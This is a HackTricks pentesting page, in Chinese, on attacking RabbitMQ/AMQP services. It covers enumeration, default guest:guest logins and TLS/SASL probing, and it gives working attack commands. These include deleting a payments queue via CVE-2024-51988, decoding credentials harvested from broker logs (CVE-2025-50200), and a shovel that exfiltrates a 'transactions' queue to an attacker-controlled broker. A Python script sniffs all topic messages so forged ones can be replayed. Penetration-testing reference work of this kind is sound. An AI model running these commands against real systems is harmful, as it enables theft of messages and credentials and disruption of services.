5671,5672 - Pentesting AMQP

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

From cloudamqp:

RabbitMQ 是一种 消息队列软件,也称为 消息代理队列管理器. 简单来说;它是用于定义队列的软件,应用程序连接到这些队列以传输一条或多条消息。
一条 消息可以包含任何类型的信息。例如,它可能包含关于某个进程或任务的信息,该进程或任务应在另一个应用程序上启动(甚至可能在另一台服务器上),或者它可能只是一个简单的文本消息。队列管理软件会存储消息,直到接收应用连接并从队列中取出消息。然后接收应用处理该消息。
定义来源。

默认端口: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • 默认凭证: guest:guest。RabbitMQ 通过 loopback_users 将其限制为 localhost,但许多 Docker/IoT 镜像禁用该检查,因此在假定被阻止之前,请务必测试远程登录。
  • 认证机制: PLAIN 和 AMQPLAIN 默认启用,ANONYMOUS 映射到 anonymous_login_user/anonymous_login_pass,当启用 TLS 时可能会暴露 EXTERNAL (x509)。枚举 broker 所宣告的内容,以确定后续是否尝试 password spraying 或 certificate impersonation。

枚举

手动

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

一旦认证成功,dump conn.server_properties, conn.channel_maxconn.frame_max,以了解吞吐限制以及是否可以通过超大帧耗尽资源。

自动

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL 检查

  • Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

这会 leak 证书链、支持的 TLS 版本以及是否需要 mutual TLS。

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

当你获得对主机的 low-priv shell 访问时很有用。

  • Spot ANONYMOUS logins: 如果 broker 允许 ANONYMOUS SASL 机制,尝试使用空用户名/密码连接;RabbitMQ 会在内部将你映射为 anonymous_login_user(默认是 guest)。

Brute Force

Exploitation Tips

Queue deletion without configure perms (CVE-2024-51988)

RabbitMQ ≤ 3.12.10(以及未打补丁的 Tanzu 构建)在通过 HTTP API 删除队列时未检查 configure 权限。任何具有目标 vhost 访问权限的已认证用户,即使他们只有 readwrite 权限,也可以 nuke 任意队列。

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

将此与 rabbitmqadmin list permissions 结合使用,以查找你的 low-priv user 在其中具有部分访问权限的 vhosts,然后清空队列以诱发 denial of service 或触发在 AMQP 端观察到的补偿控制。查看 15672 pentesting 以获取可与此漏洞链式使用的更多 HTTP API endpoints。

Harvest credentials from RabbitMQ logs (CVE-2025-50200)

在 4.0.8/4.1.0 之前,对不存在的资源使用 HTTP basic auth 请求 management API 会导致 broker 将整个 Authorization 头(base64)记录到日志中。如果你获得了有限的文件系统访问权限(例如 Docker escape、plugin RCE),在 /var/log/rabbitmq/rabbit@*.log 中搜索 Authorization:,并恢复其他租户或服务账户的凭证。

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

故意通过伪造端点触发此操作,在日志中植入新的 secrets,然后通过在 AMQP、STOMP、MQTT 或 OS 本身上重用解码后的 creds 进行 pivot。

武器化 rabbitmqadmin-ng

rabbitmqadmin v2 (aka rabbitmqadmin-ng) 是一个自包含的 CLI,可以与 management API 通信,并且现在为 Linux/macOS/Windows 提供静态链接的构建。将它放到你的 bounce box 上并编写 script:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

因为该工具支持 blue/green 感知的健康检查,你也可以滥用 rabbitmqadmin health_check port_listener --port 5672 来远程确认是否暴露了 TLS listeners,或让服务忙于 timing probes。

Message hijacking/sniffing

如果发现宽松的策略(.* bindings、topic exchanges,或 x-queue-master-locator = min-masters),你可以悄悄地窃取消息而不删除它们:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

将路由键替换为 audit.#payments.* 以关注敏感流,然后通过翻转 basic_publish 参数重新发布伪造消息——方便对下游微服务进行重放攻击。

其他 RabbitMQ 端口

https://www.rabbitmq.com/networking.html 中你可以看到 rabbitmq 使用多个端口

另见

4222 Pentesting Nats

Shodan

  • AMQP

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks